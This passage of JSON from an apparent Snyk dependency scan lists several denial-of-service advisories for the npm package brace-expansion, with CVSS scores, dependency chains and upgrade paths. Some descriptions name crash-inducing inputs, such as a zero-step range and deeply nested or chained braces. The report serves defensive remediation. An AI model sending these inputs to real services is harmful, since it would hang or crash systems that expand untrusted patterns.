"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
